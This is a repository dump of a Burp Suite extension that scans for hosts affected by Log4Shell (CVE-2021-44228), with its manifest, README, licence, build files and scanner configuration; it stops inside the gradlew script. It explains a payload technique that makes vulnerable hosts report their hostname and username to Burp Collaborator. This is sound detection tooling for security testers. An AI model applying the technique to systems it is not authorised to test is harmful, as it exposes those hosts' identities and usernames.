├── .github └── ISSUE_TEMPLATE │ └── bug_report.md ├── .gitignore ├── BappDescription.html ├── BappManifest.bmf ├── LICENSE.md ├── README.md ├── build.gradle ├── extensions-only.json ├── gradle └── wrapper │ ├── gradle-wrapper.jar │ └── gradle-wrapper.properties ├── gradlew ├── gradlew.bat ├── screenshot.png └── src └── main └── kotlin └── burp └── BurpExtender.kt /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Create a report to help us improve 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Describe the bug** 11 | A clear and concise description of what the bug is. 12 | 13 | **To Reproduce** 14 | Steps to reproduce the behavior: 15 | 1. Go to '...' 16 | 2. Click on '....' 17 | 3. Scroll down to '....' 18 | 4. See error 19 | 20 | **Contents of the Extension Output tab** 21 | 22 | 1. Go to the Extensions tab 23 | 2. Select Log4Shell Scanner 24 | 3. Select the Output tab under the extension list 25 | 4. Copy contents here: 26 | 27 | ``` 28 | TODO 29 | ``` 30 | 31 | **Contents of the Extension Errors tab** 32 | 33 | 1. Go to the Extensions tab 34 | 2. Select Log4Shell Scanner 35 | 3. Select the Errors tab under the extension list 36 | 4. Copy contents here: 37 | 38 | ``` 39 | TODO 40 | ``` 41 | 42 | **Expected behavior** 43 | A clear and concise description of what you expected to happen. 44 | 45 | **Screenshots** 46 | If applicable, add screenshots to help explain your problem. 47 | 48 | **Environment (please complete the following information):** 49 | - OS: [e.g. iOS] 50 | - Burp version: [e.g. 2.0] 51 | - Extension version: [e.g. BApp store; custom compilation; etc] 52 | 53 | **Additional context** 54 | Add any other context about the problem here. 55 | 56 | **Sanity Check** 57 | 58 | - [ ] I'm not trying to blindly scan random hosts without any configuration and wait for free money from their bug bounty programs. 59 | - [ ] Burp Collaborator is enabled and functional 60 | - [ ] Target injection points are recognized by Burp (other payloads are set properly or injection point is explicitly marked in Intruder) 61 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | #Eclipse 2 | .classpath 3 | .project 4 | test-output 5 | .settings 6 | 7 | #IntelliJ 8 | *.iml 9 | *.ipr 10 | *.iws 11 | .idea/ 12 | 13 | #Gradle 14 | .gradle 15 | classes/ 16 | 17 | 18 | #Build directories 19 | bin/ 20 | build/ 21 | target/ -------------------------------------------------------------------------------- /BappDescription.html: -------------------------------------------------------------------------------- 1 |

Log4Shell, formally known as CVE-2021-44228 seems to be the next big vulnerability that affects a huge number of systems, and the affected component, Log4j gets involved in logging untrusted data by design. This results in lots of vulnerable hosts that are hidden in the sense that naive testing won't find them, as it's not trivial to know which part of a complex parsing path (potentially involving multiple systems) is vulnerable.

2 | 3 |

This is a Burp Extender plugin that registers itself as an Active scanner check and generates two kinds of payloads. A simpler one includes variable expansion only for the hostname, while a more complex one includes the username as well using USER and USERNAME for compatibility with both Unix-like and Windows operating systems. Synchronous interaction is logged using built-in scanner, while a background thread polls for Collaborator interactions once per minute to test for those hidden hosts and services.

4 | 5 |

We hope that by excluding code execution functionality, we don't give the bad guys anything they already don't have while giving professional pentesters and internal security teams a tool to detect all the hidden vulnerable hosts. Having the hostname and the username is hopefully enough to identify even those processes that are not documented but still processes data at the end of a long pipeline.

6 | 7 |

For more usage instructions, please refer to our GitHub.

8 | -------------------------------------------------------------------------------- /BappManifest.bmf: -------------------------------------------------------------------------------- 1 | Uuid: b011be53649346dd87276bca41ce8e8f 2 | ExtensionType: 1 3 | Name: Log4Shell Scanner 4 | RepoName: log4shell-scanner 5 | ScreenVersion: 0.2.4 6 | SerialVersion: 7 7 | MinPlatformVersion: 0 8 | ProOnly: True 9 | Author: SilentSignal 10 | ShortDescription: Enumerates hidden Log4Shell-affected hosts. 11 | EntryPoint: build/libs/log4shell-scanner.jar 12 | BuildCommand: ./gradlew build 13 | SupportedProducts: Pro, Enterprise 14 | -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | ### GNU GENERAL PUBLIC LICENSE 2 | 3 | Version 3, 29 June 2007 4 | 5 | Copyright (C) 2007 Free Software Foundation, Inc. 6 | 7 | 8 | Everyone is permitted to copy and distribute verbatim copies of this 9 | license document, but changing it is not allowed. 10 | 11 | ### Preamble 12 | 13 | The GNU General Public License is a free, copyleft license for 14 | software and other kinds of works. 15 | 16 | The licenses for most software and other practical works are designed 17 | to take away your freedom to share and change the works. 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Such new versions 564 | will be similar in spirit to the present version, but may differ in 565 | detail to address new problems or concerns. 566 | 567 | Each version is given a distinguishing version number. If the Program 568 | specifies that a certain numbered version of the GNU General Public 569 | License "or any later version" applies to it, you have the option of 570 | following the terms and conditions either of that numbered version or 571 | of any later version published by the Free Software Foundation. If the 572 | Program does not specify a version number of the GNU General Public 573 | License, you may choose any version ever published by the Free 574 | Software Foundation. 575 | 576 | If the Program specifies that a proxy can decide which future versions 577 | of the GNU General Public License can be used, that proxy's public 578 | statement of acceptance of a version permanently authorizes you to 579 | choose that version for the Program. 580 | 581 | Later license versions may give you additional or different 582 | permissions. However, no additional obligations are imposed on any 583 | author or copyright holder as a result of your choosing to follow a 584 | later version. 585 | 586 | #### 15. Disclaimer of Warranty. 587 | 588 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 589 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 590 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT 591 | WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT 592 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 593 | A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND 594 | PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE 595 | DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR 596 | CORRECTION. 597 | 598 | #### 16. Limitation of Liability. 599 | 600 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 601 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR 602 | CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 603 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES 604 | ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT 605 | NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR 606 | LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM 607 | TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER 608 | PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 609 | 610 | #### 17. Interpretation of Sections 15 and 16. 611 | 612 | If the disclaimer of warranty and limitation of liability provided 613 | above cannot be given local legal effect according to their terms, 614 | reviewing courts shall apply local law that most closely approximates 615 | an absolute waiver of all civil liability in connection with the 616 | Program, unless a warranty or assumption of liability accompanies a 617 | copy of the Program in return for a fee. 618 | 619 | END OF TERMS AND CONDITIONS 620 | 621 | ### How to Apply These Terms to Your New Programs 622 | 623 | If you develop a new program, and you want it to be of the greatest 624 | possible use to the public, the best way to achieve this is to make it 625 | free software which everyone can redistribute and change under these 626 | terms. 627 | 628 | To do so, attach the following notices to the program. It is safest to 629 | attach them to the start of each source file to most effectively state 630 | the exclusion of warranty; and each file should have at least the 631 | "copyright" line and a pointer to where the full notice is found. 632 | 633 | 634 | Copyright (C) 635 | 636 | This program is free software: you can redistribute it and/or modify 637 | it under the terms of the GNU General Public License as published by 638 | the Free Software Foundation, either version 3 of the License, or 639 | (at your option) any later version. 640 | 641 | This program is distributed in the hope that it will be useful, 642 | but WITHOUT ANY WARRANTY; without even the implied warranty of 643 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 644 | GNU General Public License for more details. 645 | 646 | You should have received a copy of the GNU General Public License 647 | along with this program. If not, see . 648 | 649 | Also add information on how to contact you by electronic and paper 650 | mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands \`show w' and \`show c' should show the 661 | appropriate parts of the General Public License. Of course, your 662 | program's commands might be different; for a GUI interface, you would 663 | use an "about box". 664 | 665 | You should also get your employer (if you work as a programmer) or 666 | school, if any, to sign a "copyright disclaimer" for the program, if 667 | necessary. For more information on this, and how to apply and follow 668 | the GNU GPL, see . 669 | 670 | The GNU General Public License does not permit incorporating your 671 | program into proprietary programs. If your program is a subroutine 672 | library, you may consider it more useful to permit linking proprietary 673 | applications with the library. If this is what you want to do, use the 674 | GNU Lesser General Public License instead of this License. But first, 675 | please read . 676 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Log4Shell scanner for Burp Suite 2 | ================================ 3 | 4 | ![screenshot](screenshot.png) 5 | 6 | Detailed description can be found [in our blog post about this plugin][1], 7 | you can also [▶️ watch a recorded demonstration video][3]. (There's also 8 | [a bit longer video][7] by @nu11secur1ty that also demonstrates setting up 9 | a vulnerable application.) 10 | 11 | Note about detection capabilities: this plugin will only supply the built-in 12 | active scanner with payloads, thus for optimal coverage vs. performance, you'll 13 | have to configure your scan properly – just as with any other built-in or 14 | extension-provided scan. See [#3][4] for detailed explanation regarding this matter. 15 | 16 | Comparison 17 | ---------- 18 | 19 | | Feature | Log4Shell scanner (this one) | ActiveScan++ ([`b485a07`][5]) | 20 | | --- | :---: | :---: | 21 | | Synchronous detection | ✔️ | ✔️ | 22 | | Asynchronous detection | ✔️ | ❌ | 23 | | Hostname detection | ✔️ | ❌ | 24 | | Username detection | ✔️ | ❌ | 25 | | Ability for single-issue scan (see below) | ✔️ | ❌ | 26 | 27 | Single-issue scan 28 | ----------------- 29 | 30 | If you'd like to scan only for Log4j (and not other things such as XSS or SQLi), 31 | this plugin makes it possible. 32 | 33 | By following any of the instruction sets below, the scanner will only 34 | perform Log4Shell checks on all insertion points if the scan configuration 35 | created as a result is used. 36 | 37 | ### The easiest way ### 38 | 39 | Thanks to Hannah at PortSwigger for bringing this to our attention. 40 | 41 | 1. When creating a new scan, click `Select from library` on the `Scan configuration` tab 42 | 2. Pick `Audit checks - extensions only` which is built into Burp Suite Pro 2.x 43 | 3. Disable every other extension (if applicable) that have an active scan check registered (such as ActiveScan++, Backslash powered scanning, Burp Bounty, etc.) so that only the Log4Shell scanner runs 44 | 45 | ### The easy way ### 46 | 47 | This is the version that's demonstrated in the above linked video. 48 | 49 | 1. Save [`extensions-only.json`][2] to your machine 50 | 2. From the leftmost `Burp` menu, select `Configuration library` 51 | 3. Click `Import` on the right side of the window 52 | 4. Select the location where you save the file in step 1. 53 | 5. When creating a new scan, click `Select from library` on the `Scan configuration` tab 54 | 6. Disable every other extension (if applicable) that have an active scan check registered (such as ActiveScan++, Backslash powered scanning, Burp Bounty, etc.) so that only the Log4Shell scanner runs 55 | 56 | ### The manual way ### 57 | 58 | This one used to be harder, but [@alright21 made it much easier][6]. 59 | 60 | 1. Create a new `Scan Configuration` 61 | 2. Expand `Issues Reported` 62 | 3. Click on one of the issues to move the focus to that list 63 | 4. Press `Ctrl` + `A` 64 | 5. Right click on the list and click on `Enabled`, this will disable all issues 65 | 6. Manually check the box at the last one called `Extension generated issue` to enable that 66 | 7. Disable every other extension (if applicable) that have an active scan check registered (such as ActiveScan++, Backslash powered scanning, Burp Bounty, etc.) so that only the Log4Shell scanner runs 67 | 68 | Building 69 | -------- 70 | 71 | Execute `./gradlew build` and you'll have the plugin ready in 72 | `build/libs/burp-log4shell.jar` 73 | 74 | License 75 | ------- 76 | 77 | The whole project is available under the GNU General Public License v3.0, 78 | see `LICENSE.md`. 79 | 80 | [1]: https://blog.silentsignal.eu/2021/12/12/our-new-tool-for-enumerating-hidden-log4shell-affected-hosts/ 81 | [2]: https://raw.githubusercontent.com/silentsignal/burp-log4shell/master/extensions-only.json 82 | [3]: https://vimeo.com/656095367/3642ba0859 83 | [4]: https://github.com/silentsignal/burp-log4shell/issues/3 84 | [5]: https://github.com/PortSwigger/active-scan-plus-plus/commit/b485a07 85 | [6]: https://github.com/silentsignal/burp-log4shell/issues/1 86 | [7]: https://streamable.com/z1qkax 87 | -------------------------------------------------------------------------------- /build.gradle: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of Log4Shell scanner for Burp Suite (https://github.com/silentsignal/burp-log4shell) 3 | * Copyright (c) 2021 Andras Veres-Szentkiralyi 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | apply plugin: 'java' 20 | apply plugin: 'kotlin' 21 | sourceCompatibility = 1.8 22 | targetCompatibility = 1.8 23 | 24 | buildscript { 25 | ext.kotlin_version = '1.4.10' 26 | 27 | repositories { 28 | mavenCentral() 29 | } 30 | dependencies { 31 | classpath "org.jetbrains.kotlin:kotlin-gradle-plugin:$kotlin_version" 32 | } 33 | } 34 | 35 | 36 | repositories { 37 | mavenCentral() 38 | } 39 | 40 | dependencies { 41 | compile "org.jetbrains.kotlin:kotlin-stdlib:$kotlin_version" 42 | 43 | compile 'net.portswigger.burp.extender:burp-extender-api:1.7.22' 44 | compile 'com.esotericsoftware:minlog:1.3' 45 | 46 | testCompile "org.testng:testng:6.9.10" 47 | } 48 | 49 | jar { 50 | from { 51 | configurations.compile.collect { it.isDirectory() ? it : zipTree(it) } 52 | } 53 | } 54 | -------------------------------------------------------------------------------- /extensions-only.json: -------------------------------------------------------------------------------- 1 | { 2 | "scanner":{ 3 | "issues_reported":{ 4 | "scan_type_intrusive_active":true, 5 | "scan_type_javascript_analysis":true, 6 | "scan_type_light_active":true, 7 | "scan_type_medium_active":true, 8 | "scan_type_passive":true, 9 | "select_individual_issues":true, 10 | "selected_issues":[ 11 | { 12 | "detection_methods":[], 13 | "enabled":false, 14 | "type_index":"0x01000100" 15 | }, 16 | { 17 | "detection_methods":[ 18 | { 19 | "enabled":true, 20 | "name":"Error messages" 21 | }, 22 | { 23 | "enabled":true, 24 | "name":"Time delays" 25 | }, 26 | { 27 | "enabled":true, 28 | "name":"Boolean conditions" 29 | }, 30 | { 31 | "enabled":true, 32 | "name":"Oracle specific" 33 | }, 34 | { 35 | "enabled":true, 36 | "name":"MySQL specific" 37 | }, 38 | { 39 | "enabled":true, 40 | "name":"SQL Server specific" 41 | }, 42 | { 43 | "enabled":true, 44 | "name":"Burp Collaborator" 45 | } 46 | ], 47 | "enabled":false, 48 | "type_index":"0x00100210" 49 | }, 50 | { 51 | "detection_methods":[], 52 | "enabled":false, 53 | "type_index":"0x00100f10" 54 | }, 55 | { 56 | "detection_methods":[ 57 | { 58 | "enabled":true, 59 | "name":"Javascript static analysis" 60 | }, 61 | { 62 | "enabled":true, 63 | "name":"Javascript dynamic analysis" 64 | } 65 | ], 66 | "enabled":false, 67 | "type_index":"0x00200320" 68 | }, 69 | { 70 | "detection_methods":[], 71 | "enabled":false, 72 | "type_index":"0x01000200" 73 | }, 74 | { 75 | "detection_methods":[], 76 | "enabled":false, 77 | "type_index":"0x01000300" 78 | }, 79 | { 80 | "detection_methods":[], 81 | "enabled":false, 82 | "type_index":"0x01000400" 83 | }, 84 | { 85 | "detection_methods":[], 86 | "enabled":false, 87 | "type_index":"0x01000500" 88 | }, 89 | { 90 | "detection_methods":[ 91 | { 92 | "enabled":true, 93 | "name":"Passive checks" 94 | }, 95 | { 96 | "enabled":true, 97 | "name":"Active checks" 98 | } 99 | ], 100 | "enabled":true, 101 | "type_index":"0x08000000" 102 | }, 103 | { 104 | "detection_methods":[ 105 | { 106 | "enabled":true, 107 | "name":"Javascript static analysis" 108 | }, 109 | { 110 | "enabled":true, 111 | "name":"Javascript dynamic analysis" 112 | } 113 | ], 114 | "enabled":false, 115 | "type_index":"0x00200321" 116 | }, 117 | { 118 | "detection_methods":[ 119 | { 120 | "enabled":true, 121 | "name":"Javascript static analysis" 122 | }, 123 | { 124 | "enabled":true, 125 | "name":"Javascript dynamic analysis" 126 | } 127 | ], 128 | "enabled":false, 129 | "type_index":"0x00200322" 130 | }, 131 | { 132 | "detection_methods":[], 133 | "enabled":false, 134 | "type_index":"0x00200328" 135 | }, 136 | { 137 | "detection_methods":[ 138 | { 139 | "enabled":true, 140 | "name":"Error messages" 141 | }, 142 | { 143 | "enabled":true, 144 | "name":"Burp Collaborator" 145 | }, 146 | { 147 | "enabled":true, 148 | "name":"Burp Infiltrator" 149 | } 150 | ], 151 | "enabled":false, 152 | "type_index":"0x00100700" 153 | }, 154 | { 155 | "detection_methods":[], 156 | "enabled":false, 157 | "type_index":"0x00100900" 158 | }, 159 | { 160 | "detection_methods":[], 161 | "enabled":false, 162 | "type_index":"0x00100a00" 163 | }, 164 | { 165 | "detection_methods":[], 166 | "enabled":false, 167 | "type_index":"0x00100b00" 168 | }, 169 | { 170 | "detection_methods":[ 171 | { 172 | "enabled":true, 173 | "name":"String echo" 174 | }, 175 | { 176 | "enabled":true, 177 | "name":"Time delays" 178 | }, 179 | { 180 | "enabled":true, 181 | "name":"Burp Collaborator" 182 | } 183 | ], 184 | "enabled":false, 185 | "type_index":"0x00100c00" 186 | }, 187 | { 188 | "detection_methods":[], 189 | "enabled":false, 190 | "type_index":"0x00100d00" 191 | }, 192 | { 193 | "detection_methods":[], 194 | "enabled":false, 195 | "type_index":"0x00100f00" 196 | }, 197 | { 198 | "detection_methods":[], 199 | "enabled":false, 200 | "type_index":"0x00100e00" 201 | }, 202 | { 203 | "detection_methods":[], 204 | "enabled":false, 205 | "type_index":"0x00101000" 206 | }, 207 | { 208 | "detection_methods":[ 209 | { 210 | "enabled":true, 211 | "name":"String echo" 212 | }, 213 | { 214 | "enabled":true, 215 | "name":"Burp Collaborator" 216 | } 217 | ], 218 | "enabled":false, 219 | "type_index":"0x00101100" 220 | }, 221 | { 222 | "detection_methods":[ 223 | { 224 | "enabled":true, 225 | "name":"Javascript static analysis" 226 | }, 227 | { 228 | "enabled":true, 229 | "name":"Javascript dynamic analysis" 230 | } 231 | ], 232 | "enabled":false, 233 | "type_index":"0x00200330" 234 | }, 235 | { 236 | "detection_methods":[], 237 | "enabled":false, 238 | "type_index":"0x00300220" 239 | }, 240 | { 241 | "detection_methods":[ 242 | { 243 | "enabled":true, 244 | "name":"Boolean conditions" 245 | }, 246 | { 247 | "enabled":true, 248 | "name":"Burp Infiltrator" 249 | } 250 | ], 251 | "enabled":false, 252 | "type_index":"0x00100500" 253 | }, 254 | { 255 | "detection_methods":[ 256 | { 257 | "enabled":true, 258 | "name":"File retrieval" 259 | }, 260 | { 261 | "enabled":true, 262 | "name":"Burp Infiltrator" 263 | } 264 | ], 265 | "enabled":false, 266 | "type_index":"0x00100300" 267 | }, 268 | { 269 | "detection_methods":[ 270 | { 271 | "enabled":true, 272 | "name":"String echo" 273 | }, 274 | { 275 | "enabled":true, 276 | "name":"Time delays" 277 | }, 278 | { 279 | "enabled":true, 280 | "name":"Burp Collaborator" 281 | }, 282 | { 283 | "enabled":true, 284 | "name":"Burp Infiltrator" 285 | } 286 | ], 287 | "enabled":false, 288 | "type_index":"0x00100100" 289 | }, 290 | { 291 | "detection_methods":[ 292 | { 293 | "enabled":true, 294 | "name":"Error messages" 295 | }, 296 | { 297 | "enabled":true, 298 | "name":"Time delays" 299 | }, 300 | { 301 | "enabled":true, 302 | "name":"Boolean conditions" 303 | }, 304 | { 305 | "enabled":true, 306 | "name":"Oracle specific" 307 | }, 308 | { 309 | "enabled":true, 310 | "name":"MySQL specific" 311 | }, 312 | { 313 | "enabled":true, 314 | "name":"SQL Server specific" 315 | }, 316 | { 317 | "enabled":true, 318 | "name":"Burp Collaborator" 319 | }, 320 | { 321 | "enabled":true, 322 | "name":"Burp Infiltrator" 323 | } 324 | ], 325 | "enabled":false, 326 | "type_index":"0x00100200" 327 | }, 328 | { 329 | "detection_methods":[ 330 | { 331 | "enabled":true, 332 | "name":"File retrieval" 333 | }, 334 | { 335 | "enabled":true, 336 | "name":"Burp Collaborator" 337 | } 338 | ], 339 | "enabled":false, 340 | "type_index":"0x00100400" 341 | }, 342 | { 343 | "detection_methods":[ 344 | { 345 | "enabled":true, 346 | "name":"Error messages" 347 | }, 348 | { 349 | "enabled":true, 350 | "name":"Boolean conditions" 351 | }, 352 | { 353 | "enabled":true, 354 | "name":"Burp Infiltrator" 355 | } 356 | ], 357 | "enabled":false, 358 | "type_index":"0x00100600" 359 | }, 360 | { 361 | "detection_methods":[], 362 | "enabled":false, 363 | "type_index":"0x00100800" 364 | }, 365 | { 366 | "detection_methods":[ 367 | { 368 | "enabled":true, 369 | "name":"Javascript static analysis" 370 | }, 371 | { 372 | "enabled":true, 373 | "name":"Javascript dynamic analysis" 374 | } 375 | ], 376 | "enabled":false, 377 | "type_index":"0x00200331" 378 | }, 379 | { 380 | "detection_methods":[ 381 | { 382 | "enabled":true, 383 | "name":"Javascript static analysis" 384 | }, 385 | { 386 | "enabled":true, 387 | "name":"Javascript dynamic analysis" 388 | } 389 | ], 390 | "enabled":false, 391 | "type_index":"0x00200332" 392 | }, 393 | { 394 | "detection_methods":[], 395 | "enabled":false, 396 | "type_index":"0x00200500" 397 | }, 398 | { 399 | "detection_methods":[], 400 | "enabled":false, 401 | "type_index":"0x00200400" 402 | }, 403 | { 404 | "detection_methods":[ 405 | { 406 | "enabled":true, 407 | "name":"Client-side" 408 | }, 409 | { 410 | "enabled":true, 411 | "name":"Server-side template breakout" 412 | } 413 | ], 414 | "enabled":false, 415 | "type_index":"0x00200300" 416 | }, 417 | { 418 | "detection_methods":[ 419 | { 420 | "enabled":true, 421 | "name":"In-band" 422 | }, 423 | { 424 | "enabled":true, 425 | "name":"Burp Collaborator" 426 | } 427 | ], 428 | "enabled":false, 429 | "type_index":"0x00200100" 430 | }, 431 | { 432 | "detection_methods":[], 433 | "enabled":false, 434 | "type_index":"0x00200200" 435 | }, 436 | { 437 | "detection_methods":[], 438 | "enabled":false, 439 | "type_index":"0x00200600" 440 | }, 441 | { 442 | "detection_methods":[], 443 | "enabled":false, 444 | "type_index":"0x00200700" 445 | }, 446 | { 447 | "detection_methods":[], 448 | "enabled":false, 449 | "type_index":"0x00200800" 450 | }, 451 | { 452 | "detection_methods":[ 453 | { 454 | "enabled":true, 455 | "name":"Burp Collaborator" 456 | }, 457 | { 458 | "enabled":true, 459 | "name":"Burp Infiltrator" 460 | } 461 | ], 462 | "enabled":false, 463 | "type_index":"0x00300210" 464 | }, 465 | { 466 | "detection_methods":[], 467 | "enabled":false, 468 | "type_index":"0x00200601" 469 | }, 470 | { 471 | "detection_methods":[], 472 | "enabled":false, 473 | "type_index":"0x00200602" 474 | }, 475 | { 476 | "detection_methods":[], 477 | "enabled":false, 478 | "type_index":"0x00200603" 479 | }, 480 | { 481 | "detection_methods":[], 482 | "enabled":false, 483 | "type_index":"0x00200308" 484 | }, 485 | { 486 | "detection_methods":[], 487 | "enabled":false, 488 | "type_index":"0x00100f20" 489 | }, 490 | { 491 | "detection_methods":[ 492 | { 493 | "enabled":true, 494 | "name":"Javascript static analysis" 495 | }, 496 | { 497 | "enabled":true, 498 | "name":"Javascript dynamic analysis" 499 | } 500 | ], 501 | "enabled":false, 502 | "type_index":"0x00200310" 503 | }, 504 | { 505 | "detection_methods":[], 506 | "enabled":false, 507 | "type_index":"0x00300100" 508 | }, 509 | { 510 | "detection_methods":[ 511 | { 512 | "enabled":true, 513 | "name":"Burp Collaborator" 514 | }, 515 | { 516 | "enabled":true, 517 | "name":"Burp Infiltrator" 518 | } 519 | ], 520 | "enabled":false, 521 | "type_index":"0x00300200" 522 | }, 523 | { 524 | "detection_methods":[], 525 | "enabled":false, 526 | "type_index":"0x00600550" 527 | }, 528 | { 529 | "detection_methods":[ 530 | { 531 | "enabled":true, 532 | "name":"Javascript static analysis" 533 | }, 534 | { 535 | "enabled":true, 536 | "name":"Javascript dynamic analysis" 537 | } 538 | ], 539 | "enabled":false, 540 | "type_index":"0x00200311" 541 | }, 542 | { 543 | "detection_methods":[ 544 | { 545 | "enabled":true, 546 | "name":"Javascript static analysis" 547 | }, 548 | { 549 | "enabled":true, 550 | "name":"Javascript dynamic analysis" 551 | } 552 | ], 553 | "enabled":false, 554 | "type_index":"0x00200312" 555 | }, 556 | { 557 | "detection_methods":[], 558 | "enabled":false, 559 | "type_index":"0x00400500" 560 | }, 561 | { 562 | "detection_methods":[], 563 | "enabled":false, 564 | "type_index":"0x00400600" 565 | }, 566 | { 567 | "detection_methods":[], 568 | "enabled":false, 569 | "type_index":"0x00400300" 570 | }, 571 | { 572 | "detection_methods":[ 573 | { 574 | "enabled":true, 575 | "name":"Javascript static analysis" 576 | }, 577 | { 578 | "enabled":true, 579 | "name":"Javascript dynamic analysis" 580 | } 581 | ], 582 | "enabled":false, 583 | "type_index":"0x00200360" 584 | }, 585 | { 586 | "detection_methods":[], 587 | "enabled":false, 588 | "type_index":"0x00400100" 589 | }, 590 | { 591 | "detection_methods":[], 592 | "enabled":false, 593 | "type_index":"0x00400200" 594 | }, 595 | { 596 | "detection_methods":[], 597 | "enabled":false, 598 | "type_index":"0x00400400" 599 | }, 600 | { 601 | "detection_methods":[], 602 | "enabled":false, 603 | "type_index":"0x00400700" 604 | }, 605 | { 606 | "detection_methods":[], 607 | "enabled":false, 608 | "type_index":"0x00400800" 609 | }, 610 | { 611 | "detection_methods":[], 612 | "enabled":false, 613 | "type_index":"0x00400900" 614 | }, 615 | { 616 | "detection_methods":[], 617 | "enabled":false, 618 | "type_index":"0x00400a00" 619 | }, 620 | { 621 | "detection_methods":[], 622 | "enabled":false, 623 | "type_index":"0x00400b00" 624 | }, 625 | { 626 | "detection_methods":[], 627 | "enabled":false, 628 | "type_index":"0x00400c00" 629 | }, 630 | { 631 | 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"name":"Javascript dynamic analysis" 682 | } 683 | ], 684 | "enabled":false, 685 | "type_index":"0x00500111" 686 | }, 687 | { 688 | "detection_methods":[ 689 | { 690 | "enabled":true, 691 | "name":"Javascript static analysis" 692 | }, 693 | { 694 | "enabled":true, 695 | "name":"Javascript dynamic analysis" 696 | } 697 | ], 698 | "enabled":false, 699 | "type_index":"0x00200362" 700 | }, 701 | { 702 | "detection_methods":[ 703 | { 704 | "enabled":true, 705 | "name":"Javascript static analysis" 706 | }, 707 | { 708 | "enabled":true, 709 | "name":"Javascript dynamic analysis" 710 | } 711 | ], 712 | "enabled":false, 713 | "type_index":"0x00500112" 714 | }, 715 | { 716 | "detection_methods":[], 717 | "enabled":false, 718 | "type_index":"0x00500800" 719 | }, 720 | { 721 | "detection_methods":[], 722 | "enabled":false, 723 | "type_index":"0x00500400" 724 | }, 725 | { 726 | "detection_methods":[], 727 | "enabled":false, 728 | "type_index":"0x00500200" 729 | }, 730 | { 731 | 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"enabled":false, 1422 | "type_index":"0x005009b0" 1423 | }, 1424 | { 1425 | "detection_methods":[], 1426 | "enabled":false, 1427 | "type_index":"0x00600080" 1428 | }, 1429 | { 1430 | "detection_methods":[], 1431 | "enabled":false, 1432 | "type_index":"0x005009a0" 1433 | } 1434 | ], 1435 | "store_issues_within_queue_items":false 1436 | } 1437 | } 1438 | } -------------------------------------------------------------------------------- /gradle/wrapper/gradle-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PortSwigger/log4shell-scanner/28a4540280db0f773a94302362e46aa87447ab11/gradle/wrapper/gradle-wrapper.jar -------------------------------------------------------------------------------- /gradle/wrapper/gradle-wrapper.properties: -------------------------------------------------------------------------------- 1 | distributionUrl=https\://services.gradle.org/distributions/gradle-7.3.1-bin.zip 2 | distributionBase=GRADLE_USER_HOME 3 | distributionPath=wrapper/dists 4 | zipStorePath=wrapper/dists 5 | zipStoreBase=GRADLE_USER_HOME 6 | -------------------------------------------------------------------------------- /gradlew: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env sh 2 | 3 | ############################################################################## 4 | ## 5 | ## Gradle start up script for UN*X 6 | ## 7 | ############################################################################## 8 | 9 | # Attempt to set APP_HOME 10 | # Resolve links: $0 may be a link 11 | PRG="$0" 12 | # Need this for relative symlinks. 13 | while [ -h "$PRG" ] ; do 14 | ls=`ls -ld "$PRG"` 15 | link=`expr "$ls" : '.*-> \(.*\)$'` 16 | if expr "$link" : '/.*' > /dev/null; then 17 | PRG="$link" 18 | else 19 | PRG=`dirname "$PRG"`"/$link" 20 | fi 21 | done 22 | SAVED="`pwd`" 23 | cd "`dirname \"$PRG\"`/" >/dev/null 24 | APP_HOME="`pwd -P`" 25 | cd "$SAVED" >/dev/null 26 | 27 | APP_NAME="Gradle" 28 | APP_BASE_NAME=`basename "$0"` 29 | 30 | # Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. 31 | DEFAULT_JVM_OPTS="" 32 | 33 | # Use the maximum available, or set MAX_FD != -1 to use that value. 34 | MAX_FD="maximum" 35 | 36 | warn () { 37 | echo "$*" 38 | } 39 | 40 | die () { 41 | echo 